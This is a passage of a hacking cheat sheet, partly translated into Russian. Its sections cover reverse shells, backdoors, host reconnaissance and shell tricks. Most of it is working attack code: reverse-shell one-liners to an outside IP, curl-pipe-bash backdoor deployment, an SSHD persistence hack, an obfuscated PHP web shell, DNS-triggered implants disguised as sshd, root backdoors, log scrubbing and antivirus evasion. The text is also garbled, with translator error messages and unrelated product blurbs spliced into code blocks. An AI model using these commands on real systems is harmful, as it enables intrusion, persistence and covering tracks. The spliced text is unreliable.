5.i.e. Обратная оболочка с OpenSSL (зашифрованная)```sh

On YOUR workstation:

Generate SSL keys:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"

Start your listening server:

openssl s_server -port 1524 -cert cert.pem -key key.pem

Or pwncat:

pwncat -lp 1524 --ssl

root@kitploit:~
| `Version` | ...
|---|---|
| `SoftwareName` | ...```sh
# On the target, start an openssl reverse shell as background process:
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )

5.i.f. Обратная оболочка без /dev/tcp

Во встраиваемых системах не всегда есть Bash, и трюк с /dev/tcp/ может не сработать. Существует множество других способов (Python, PHP, Perl и т.д.). Наш любимый — загрузить netcat и использовать netcat или telnet:```sh nc -e /bin/sh -vn 3.13.3.7 1524

root@kitploit:~
Вариант, если *'-e'* не поддерживается:```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :
  • On modern shells this can be shortened to { nc 3.13.3.7 1524 </dev/fd/2|sh;} 2>&1|:. (спасибо IA_PD).
  • The | : trick won't work on C-Shell/tcsh (FreeBSD), original Bourne shell (Solaris) or Korn shell (AIX). Use mkfifo instead.

Вариант для более старых /bin/sh:```sh mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | nc -vn 3.13.3.7 1524 >/tmp/.io

root@kitploit:~
Вариант Telnet:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io

Вариант Telnet, когда mkfifo не поддерживается (Фу!):```sh touch /tmp/.fio; tail -f /tmp/.fio | sh -i | telnet 3.13.3.7 31337 >/tmp/.fio

root@kitploit:~
Note: Dont forget to `rm /tmp/.fio` after login.



<a id="revese-shell-remote-moe"></a>
**5.i.h. Reverse shell with remote.moe and ssh (encrypted)**

It is possible to tunnel raw TCP (e.g bash reverse shell) through [remote.moe](https://remote.moe):

On your workstation:```sh
# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r  # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe

# Second Terminal - start listening for the reverse shell
nc -vnlp 8080

На целевой системе (требуется SSH и Bash):```sh bash -c '(killall ssh; rm -f /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r; ssh -i /tmp/.r -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe; bash -i &>/dev/tcp/0/31338 0>&1 &)'

root@kitploit:~
На целевой системе (альтернативный вариант; требуются ssh, bash и mkfifo):```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p  2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)

5.i.i. Обратная оболочка с Python```sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.13.3.7",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

root@kitploit:~
<a id="reverse-shell-perl"></a>
**Реверс-шелл с Perl**```sh
# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

5.i.k. Реверс-шелл с PHP```sh php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");'

root@kitploit:~
<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. Повышение reverse shell до PTY-оболочки**

Любая из описанных выше reverse shell-оболочек ограничена. Например, *sudo bash* или *top* не будут работать. Чтобы заставить их работать, нужно повысить оболочку до полноценной PTY-оболочки:```sh
# Using script
exec script -qc /bin/bash /dev/null  # Linux
exec script -q /dev/null /bin/bash   # BSD

Input content is missing — the chunk text after "INPUT:" is empty. Please provide the source text to translate.```sh

Using python

exec python -c 'import pty; pty.spawn("/bin/bash")'

root@kitploit:~
<a id="reverse-shell-interactive"></a>
**5.ii.b. Превращение reverse shell в полностью интерактивную оболочку**

...и если мы также хотим использовать Ctrl-C и т.д., то нам нужно пойти до конца и обновить reverse shell до настоящей полностью красочной интерактивной оболочки:```sh
# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.

Инструмент анализа блокчейна

Обзор

Bloxy — мощный инструмент анализа данных блокчейна, который использует различные API для предоставления информации о транзакциях, адресах, токенах и многом другом. Он предназначен для исследователей безопасности, энтузиастов блокчейна и разработчиков, желающих эффективно исследовать и анализировать активность блокчейна.

Возможности

  • Анализ транзакций: Получение подробных данных о транзакциях (включая внутренние вызовы и журналы) из нескольких обозревателей блокчейнов и провайдеров узлов.
  • Анализ адресов: Получение балансов токенов, истории транзакций и подробной информации об адресах.
  • Информация о токенах: Получение метаданных, данных о держателях и информации о ценах на токены.
  • Поддержка сетей: Бесшовная работа с Ethereum, BSC, Polygon, Arbitrum, Optimism, Avalanche и другими.
  • Агрегация API: Интеграция API от крупных провайдеров: Etherscan(-like) API, Infura, Alchemy, Moralis, Covalent и других для обеспечения надежности и широкого охвата.
  • Форматы вывода: Вывод результатов в виде обычного текста, JSON и CSV для простой интеграции с другими инструментами.

Установка

Предварительные требования

  • Python 3.8 или выше
  • pip (установщик пакетов Python)

Шаги установки

  1. Клонируйте репозиторий:
root@kitploit:~
git clone https://github.com/0xheart/Bloxy.git
cd Bloxy
  1. (Рекомендуется) Создайте и активируйте виртуальное окружение:
root@kitploit:~
python -m venv venv
source venv/bin/activate   # On Windows: venv\Scripts\activate
  1. Установите необходимые зависимости:
root@kitploit:~
pip install -r requirements.txt
  1. Настройте ваши API ключи (см. Конфигурация).

Конфигурация

Bloxy требует API-ключи для работы различных поставщиков данных. Скопируйте config.example.yaml в config.yaml и укажите ваши ключи:

root@kitploit:~
cp config.example.yaml config.yaml

Откройте config.yaml и добавьте ваши API-ключи для провайдеров, которые вы собираетесь использовать. Вам достаточно указать ключи только для тех сервисов, которые вам действительно нужны. Поддерживаемые провайдеры:

  • Etherscan (и подобные обозреватели для BSC, Polygon и т.д.)
  • Infura
  • Alchemy
  • Moralis
  • Covalent
  • (См. config.example.yaml для полного списка и названий переменных.)

Примечание: Бесплатные тарифы этих сервисов часто предоставляют достаточную квоту для индивидуальных исследований.```

On your terminal execute:

stty raw -echo icrnl opost; fg

root@kitploit:~
The input content for chunk 324 of 494 is empty — no text was provided after "INPUT:". Please supply the actual Markdown content of the chunk so I can translate it into Russian.```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '

5.ii.c. Обратная оболочка с socat (полностью интерактивная)

...или установите socat и сделайте это без лишних хлопот:```sh

on attacker's host (listener)

socat file:tty,raw,echo=0 tcp-listen:1524

on target host (reverse shell)

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:3.13.3.7:1524

root@kitploit:~
---
<a id="backdoor"></a>
## 6. Бэкдоры

См. [Обратная оболочка / Глупая оболочка](#reverse-shell) для простых однострочных обратных оболочек.

<a id="gsnc"></a>
**6.i. Обратная оболочка с использованием gs-netcat**

В основном мы используем автоматизированный сценарий развертывания gs-netcat: [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy).```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"

или```sh bash -c "$(wget --no-check-certificate -qO- https://gsocket.io/y)"

root@kitploit:~
или разверните gsocket, запустив собственный сервер развертывания:```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)"  # Notice '/ys' instead of '/y'

6.ii. Обратный шелл через sshx.io (зашифрованный)

Получите доступ к удалённому шеллу из вашего веб-браузера https://sshx.io.

Передайте sshx-backdoor напрямую в память:```shell echo $(curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null
|nohup perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}"/usr/bin/python3",("-q")' 2>/dev/null
|{ read x;echo "$x";}&)

root@kitploit:~
Или тупой способ:```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;

6.iii. Минимальный бэкдор SSHD

  • Переживает apt update
  • Не создает никаких новых файлов.
  • Не использует authorized_keys или PAM.

Добавлять ваш ключ в authorized_keys — это избитый приём 😩. Вместо этого, будучи root, скопируйте и вставьте это один раз на любой целевой системе. Это добавит одну строку в конфигурацию SSHD и позволит вам входить в систему навсегда:```shell backdoor_sshd() { local B="/etc/ssh" local K="${B}/ssh_host_ed25519_key" D="${B}/sshd_config.d" local N=$(cd "${D}" 2>/dev/null|| exit; shopt -s nullglob; echo .conf) [ ! -f "$K" ] && K="${B}/ssh_host_rsa_key" [ -n "$N" ] && N="${N%%.conf}.conf" N="${D}/${N:-50-cloud-init.conf}" [ ! -d "${D}" ] && N="${B}/sshd_config" { [ ! -f "$K" ] || [ ! -f "$K".pub ]; } && return grep -iqm1 '^PermitRootLogin\s+no' "${B}/sshd_config" && echo >&2 "WARN: PermitRootLogin blocking in sshd_config" echo -e "\e[0;31mYour id_ed25519 to log in to this server as any user:\e[0;33m\n$(cat "${K}")\e[0m" grep -qm1 '^AuthorizedKeysFile' "$N" 2>/dev/null && { echo >&2 "WARN: Already backdoored"; return; } echo -e "AuthorizedKeysFile\t.ssh/authorized_keys .ssh/authorized_keys2 ${K}.pub" >>"${N}" || return touch -r "$K" "$N" "$D"
&& declare -F ctime >/dev/null && ctime "$N" "$D" command -v systemctl >/dev/null && { systemctl restart ssh;:;} || service ssh restart } backdoor_sshd

root@kitploit:~
Как это работает:
- Ключ хоста SSHD — это просто обычный ключ ed25519.
- Любой ключ ed25519 может использоваться для аутентификации пользователя.
- SSHD проверяет `~/.ssh/authorized_keys` (но этот трюк уже заезжен).
- Вместо этого настройте SSHD так, чтобы он также проверял `/etc/ssh/sshd_host_ed25519_key.pub` на наличие ключей аутентификации для входа.
- Теперь SSHD будет проверять `~/.ssh/authorized_keys` _и_ `/etc/ssh/ssh_host_ed25519_key.pub` на наличие допустимых ключей входа.
- Используйте секретный ключ `/etc/ssh/sshd_host_ed25519_key`, чтобы войти на целевую систему.

<a id="backdoor-network"></a>
**6.vi. Удалённый доступ ко всей сети**

Установите [gs-netcat](https://github.com/hackerschoice/gsocket). Он создаёт SOCKS-выходной узел (exit-node) в частной LAN хоста, доступный через Global Socket Relay Network, без необходимости запускать собственный relay-сервер (например, получите доступ к удалённой частной LAN напрямую со своей рабочей станции):```sh
gs-netcat -l -S       # compromised Host

Теперь с вашей рабочей станции вы можете подключиться к ЛЮБОМУ хосту в частной локальной сети хоста:```sh gs-netcat -p 1080 # Your workstation.

Access route.local:22 on the Host's private LAN from your Workstation:

socat - "SOCKS4a:127.1:route.local:22"

root@kitploit:~
Читайте: [Использование любого инструмента через Socks Proxy](#scan-proxy).

Другие методы:
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - наша собственная статья
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - из segfault.net в любую (внутреннюю) сеть.

<a id="php-backdoor"></a>
**6.v. Самый маленький PHP-бэкдор**

Добавьте эту строку в начало любого PHP-файла:```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>

Это base64-кодирование:```php if(isset($_POST[0])){system($_POST[0]);die;}

root@kitploit:~
Проверьте бэкдор:```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"

Иногда system() запрещена. Добавьте eval(), чтобы разрешить удалённое выполнение PHP-кода в качестве запасного варианта. Спрячьте внутри других base64-комментариев для некоторой обфускации:```php

root@kitploit:~
Активируйте с помощью любого из этих, чтобы выполнить команду или PHP-код:```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'

6.vi. Самый маленький бэкдор с обратным DNS-туннелем

...на PHP:

Выполняйте произвольные команды на сервере, который не доступен из публичного интернета, используя триггер обратного DNS.

Добавьте эту строку (имплант) в начало любого PHP-файла:```php

root@kitploit:~
Имплант запрашивает полезную нагрузку через DNS TXT-запрос к домену `b00m.team-teso.net`. При срабатывании он создаёт `/tmp/.b00m` и уведомляет THC (через обратный вызов app.interactsh.com). *Пожалуйста*, используйте собственный домен, а также создайте собственную полезную нагрузку. Пример:```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0
  • DNS TXT-пейлоад ограничен 2,048 символами (иногда 65,535 символов).
  • Имплант — это bootloader. Используйте цикл while, чтобы загружать и выполнять более крупный пейлоад через DNS.
  • Загляните в наши любимые места для анонимной регистрации домена. Cloudflare Free-Tier — хорошее начало.

...в BASH:

Добавьте этот имплант в ~/.bashrc целевой системы или в crontab (demo-paypload):```shell

Use a "double bash" to redirect also errors from $()-subshell to /dev/null:

bash -c 'exec bash -c "{ $(dig +short b00m2.team-teso.net TXT|tr -d \ "|base64 -d);}"'&>/dev/null

root@kitploit:~
или измените демо-пейлоад на сложный пейлоад:
- Запускает фоновый демон для опроса каждый час с целью выполнения команд.
- Зависит только от bash, dig и base64.
- Маскируется под `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`
- В примере снова используется `b00m2.team-teso.net`, и каждый час создаётся /tmp/.b00m.

Скопируйте и вставьте следующее в оболочку цели, чтобы сгенерировать однострочный имплант:```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
	dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
	slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt

Добавьте однострочный результат работы скрипта в любой стартовый скрипт на целевой системе (используйте crontab, ~/.bashrc, udev или ExecStartPre=). Вот хитрый пример для /usr/lib/systemd/system/ssh.service (с некоторой дополнительной обфускацией):``` ... [Service] EnvironmentFile=-/etc/default/ssh Environment="SSHD=echo RD1iMDBtMi50ZWFtLXRlc28ubmV0ClA9InNzaGQ6IC91c3Ivc2Jpbi9zc2hkIC1EIFtsaXN0ZW5lcl0gMCBvZiAxMC0xMDAgc3RhcnR1cHMiCk09L2Rldi9zaG0vLmNhY2hlJHtVSUR9ClsgLWYgJE0gXSYmZXhpdAp0b3VjaCAkTQooZWNobyAnc2xwKCl7IGxvY2FsIElGUztbIC1uICIke19zZmQ6LX0iIF18fGV4ZWMge19zZmR9PD4gPCg6KTtyZWFkIC10JDEgLXUkX3NmZHx8Ojt9CnNscCAxCndoaWxlIDo7IGRvCmRpZyArc2hvcnQgJyIkRCInIFRYVHx0ciAtZCBcIFwifGJhc2U2NCAtZHxiYXNoCnNscCAzNjAwCmRvbmUnfGV4ZWMgLWEgIiRQIiBiYXNoICYpICY+L2Rldi9udWxsCg==|base64 -d|bash" ExecStartPre=-bash -c 'eval $SSHD' ExecStartPre=/usr/sbin/sshd -t ExecStart=/usr/sbin/sshd -D $SSHD_OPTS ...

root@kitploit:~
...in PERL:
---
То же самое, но требуется только perl + bash (не dig):```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt

(спасибо LouCipher за Perl-версию)

...на PYTHON:

Скопируйте и вставьте следующее в вашу оболочку:```shell pydnsbackdoorgen() { local str echo -e "This is the TXT record for ${1:?}\e[0;33m" base64 -w0 <"${2:?}" str="$(echo -en 'import dns.resolver\nexec(base64.b64decode("".join([d.to_text() for d in dns.resolver.resolve("'"${1:?}"'", "TXT").rrset])))' | base64 -w 0)" echo -e "\e[0m\nAdd this implant string to a target's python script:\e[0;32m" echo "exec('"'try:\n\timport base64\n\texec(base64.b64decode("'"${str}"'"))\nexcept:\n\tpass'"')" echo -e "\e[0m" }

root@kitploit:~
Сгенерируйте свой payload (`egg.py` будет выполнен на целевой системе):```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF

Сгенерируйте свой имплант (и следуйте инструкциям):```shell pydnsbackdoorgen b00mpy.team-teso.net egg.py

root@kitploit:~
<a id="ld-backdoor"></a>
**6.vii. Локальный root-бэкдор**

#### 1. Бэкдор динамического загрузчика с помощью setcap```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"

The input chunk is empty — there is no content to translate. Please provide the actual Markdown text for chunk 374.```bash

Execute as non-root user to get root

fn="$(readlink -f /lib64/ld-.so.)" || fn="$(readlink -f /lib/ld-.so.)" || fn="/lib/ld-linux.so.2" p="$(command -v python3 2>/dev/null)" || p="$(command -v python)" "${fn:?}" "$p" -c 'import os;os.setuid(0);os.setgid(0);os.execlp("bash", "kdaemon")'

root@kitploit:~
#### 2. Старый добрый b00m shell```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null

Features

  • Run security benchmarks with a single command, without prior setup.
  • Choose from over 100 CIS Benchmarks for various platforms.
  • Generate clear and detailed reports in HTML and JSON formats.
  • Track progress over time by comparing current results with previous reports (diff).
  • Works well in air-gapped environments, with added support for private registries.```shell exec /var/tmp/.b00m -p -c 'exec python -c "import os;os.setuid(0);os.execlp("bash", "kdaemon")"'
root@kitploit:~
<a id="implant"></a>
**6.viii. Самораспаковывающийся имплант**

Создайте самораспаковывающийся shell-скрипт с помощью [mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh) (см. исходный код для примеров).

Простой пример:```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh

Лучше всего подходят реальные примеры:

  1. Создайте имплант, который устанавливает gsocket и вызывает наш вебхук при успешном завершении:```sh ./mkegg.sh egg.sh deploy-all.sh '(GS_WEBHOOK_KEY=e90d4b38-8285-490d-b5ab-a6d5c7c990a7 deploy-all.sh 2>/dev/null >/dev/null &)'

On the target system do: 'cat egg.sh | bash' or './egg.sh'

root@kitploit:~
2. Переименуйте `egg.sh` в `update-for-fools.txt` и загрузите как blob в GitHub-репозиторий [Signal](https://www.signal.org/).

3. Не дурачьте людей, заставляя их обновить Signal этой командой ❤️:```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash

7. Разведка хоста


Получите важную информацию о хосте:```sh bash -c "$(curl -fsSL https://thc.org/ws)"

root@kitploit:~
или```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"

netstat, если нет netstat/ss/lsof:```sh curl -fsSL https://raw.githubusercontent.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/master/tools/awk_netstat.sh | bash

root@kitploit:~
Проверьте скорость системы```sh
curl -fsSL https://bench.sh | bash
# Another speed check:  
# curl -fsSL https://yabs.sh | bash

Найдите все suid/sgid бинарники:``` find / -xdev -type f -perm /6000 -ls 2>/dev/null

root@kitploit:~
Найти все доступные для записи каталоги:```bash
wfind() {
    local arr dir

    arr=("$@")
    while [[ ${#arr[@]} -gt 0 ]]; do
        dir=${arr[${#arr[@]}-1]}
        unset "arr[${#arr[@]}-1]"
        find "$dir"  -maxdepth 1 -type d -writable -ls 2>/dev/null
        IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
    done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr 

Найдите локальные пароли (с помощью noseyparker или trufflehog):```sh curl -o np -fsSL https://github.com/hackerschoice/binary/raw/main/tools/noseyparker-x86_64-static chmod 700 np &&
./np scan . &&
./np report --color=always | less -R

root@kitploit:~
- Используйте [PassDetective](https://github.com/aydinnyunus/PassDetective) для поиска паролей в ~/.*history
- Используйте [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption) для извлечения и дешифрования паролей Chrome из запущенного процесса (только для Windows)
- Извлекайте пароли из браузеров с помощью [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor)

Использование `grep`:```sh
# Find passwords (without garbage).
grep -HEronasi  '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .

Найти поддомены или email-адреса в файлах:```bash resolv() { while read -r x; do r="$(getent hosts "$x")" || continue; echo "${r%% *}"$'\t'"${x}"; done; } find_subdomains() { local d="${1//./\.}" local rexf='[0-9a-zA-Z_.-]{0,64}'"${d}" local rex="$rexf"'([^0-9a-zA-Z_]{1}|$)' [ $# -le 0 ] && { echo -en >&2 "Extract sub-domains from all files (or stdin)\nUsage : find_subdomains \nExample: find_subdomain .com | anew"; return; } shift 1 [ $# -le 0 ] && [ -t 0 ] && set -- . command -v rg >/dev/null && { rg -oaIN --no-heading "$rex" "$@" | grep -Eao "$rexf"; return; } grep -Eaohr "$rex" "$@" | grep -Eo "$rexf" }

find_subdomain .foobar.com | anew | resolv

find_subdomain @gmail.com | anew

root@kitploit:~
---
<a id="shell-hacks"></a>
## 8. Хитрости оболочки
<a id="shred"></a>
**8.i. Shred & затирание файла**```sh
shred -z foobar.txt

The input chunk is empty — there is no content to translate. Please provide the actual Markdown text for chunk 406/494.```sh

SHRED without shred command

shred() { [[ -z $1 || ! -f "$1" ]] && { echo >&2 "shred [FILE]"; return 255; } dd status=none bs=1k count=$(du -sk ${1:?} | cut -f1) if=/dev/urandom >"$1" rm -f "${1:?}" } shred foobar.txt

root@kitploit:~
Note: Or deploy your files in */dev/shm* directory so that no data is written to the harddrive. Data will be deleted on reboot.

Note: Or delete the file and then fill the entire harddrive with /dev/urandom and then rm -rf the dump file.

<a id="restore-timestamp"></a>
**8.ii. Restore the date of a file**

Let's say you have modified */etc/passwd* but the file date now shows that */etc/passwd* has been modified. Use *touch* to change the file date to the date of another file (in this example, */etc/shadow*)```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'

Используйте hackshell и ctime /etc/passwd, чтобы также скорректировать ctime и время создания (birth-time).

8.iii. Очистить файл журнала

Это сбросит файл журнала до 0 без необходимости перезапускать syslogd и т.д.:```sh

/var/log/auth.log # or on old shells: cat /dev/null >/var/log/auth.log

root@kitploit:~
Это удалит любую строку, содержащую IP `1.2.3.4`, из файла журнала:```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }

Примеры:```sh

xlog "1.2.3.4" /var/log/auth.log

xlog "${SSH_CLIENT%% *}" /var/log/auth.log

xlog "^2023.* thc.org" foo.log

root@kitploit:~
<a id="shell-hide-files"></a>
**8.iv. Скрытие файлов от этого пользователя без прав root**

Наша любимая рабочая директория — */dev/shm/*. Это место — энергозависимая память, и она будет потеряна при перезагрузке. НЕТ ЛОГОВ == НЕТ ПРЕСТУПЛЕНИЯ.

Скрытие постоянных файлов:

Метод 1:```sh
alias ls='ls -I system-dev'

Это скроет каталог system-dev от команды ls. Поместите это в ~/.profile пользователя или в общесистемный /etc/profile.

Метод 2: Приёмы из 80-х. Рассмотрите любую директорию, в которую администратор редко заглядывает (например, /boot/.X11/.. или что-то вроде):```sh mkdir '...' cd '...'

root@kitploit:~
Метод 3:
Unix допускает имена файлов практически с любым ASCII-символом, кроме 0x00. Попробуйте табуляцию (*\t*). Часто бывает, что большинство администраторов не знают, как выполнить cd в такой каталог.```sh
mkdir $'\t'
cd $'\t'

8.v. Сделать файл неизменяемым

Это перенаправит /var/www/cgi/blah.cgi на /boot/backdoor.cgi. Файл blah.cgi нельзя изменить или удалить (если только не размонтировать).```sh

/boot/backdoor.cgi contains our backdoor

touch /var/www/cgi/blah.cgi mount -o bind,ro /boot/backdoor.cgi /var/www/cgi/blah.cgi

root@kitploit:~
<a id="nosudo"></a>
**8.vi. Смена пользователя без sudo/su**

Необходимо для создания скриншотов X11-сессий (то есть `xwd -display :0 -silent -root | convert - jpg:screenshot.jpg` или `import -display :0 -window root screenshot.png`)```bash
xsu() {
    local name="${1:?}"
    local u g h
    local cmd="python"

    command -v python3 >/dev/null && cmd="python3"
    [ $UID -ne 0 ] && { HS_ERR "Need root"; return; }
    u=$(id -u ${name:?}) || return
    g=$(id -g ${name:?}) || return
    h="$(grep "^${name}:" /etc/passwd | cut -d: -f6)" || return
    HOME="${h:-/tmp}" "$cmd" -c "import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp('bash', 'bash')"
}
# xsu user

8.vii. Обфускация и шифрование пейлоада

Используйте UPX для упаковки ELF-бинарника (например, /bin/id):```shell BIN="mybin" upx -qqq /bin/id -o "${BIN}"

root@kitploit:~
Очистите [заголовок UPX](https://github.com/upx/upx/blob/devel/src/stub/src/include/header.S) и 2-й заголовок ELF, чтобы обмануть антивирус:```shell
perl -i -0777 -pe 's/^(.{64})(.{0,256})UPX!.{4}/$1$2\0\0\0\0\0\0\0\0/s' "${BIN}"
perl -i -0777 -pe 's/^(.{64})(.{0,256})\x7fELF/$1$2\0\0\0\0/s' "${BIN}"

При необходимости очистите сигнатуры и следы UPX:```shell cat "${BIN}"
| perl -e 'local($/);$=<>;s/(.)($Info:[^\0])(.*)/print "$1";print "\0"x length($2); print "$3"/es;'
| perl -e 'local($/);$
=<>;s/(.)($Id:[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx" mv "${BIN}.tmpupx" "${BIN}" grep -Eqm1 "PROT_EXEC|PROT_WRITE" "${BIN}"
&& cat "${BIN}" | perl -e 'local($/);$_=<>;s/(.
)(PROT_EXEC|PROT_WRI[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx"
&& mv "${BIN}.tmpupx" "${BIN}" perl -i -0777 -pe 's/UPX!/\0\0\0\0/sg' "${BIN}"

root@kitploit:~
Убедитесь, что бинарный файл не может быть распакован:```shell
upx -d "${BIN}"  # Should fail with 'not packed by UPX'

При желании зашифруйте его с помощью bincrypter.

8.viii. Развертывание бэкдора без обращения к файловой системе

Запустите бэкдор, не записывая его в файловую систему, или когда все доступные для записи места смонтированы с пресловутым флагом noexec.

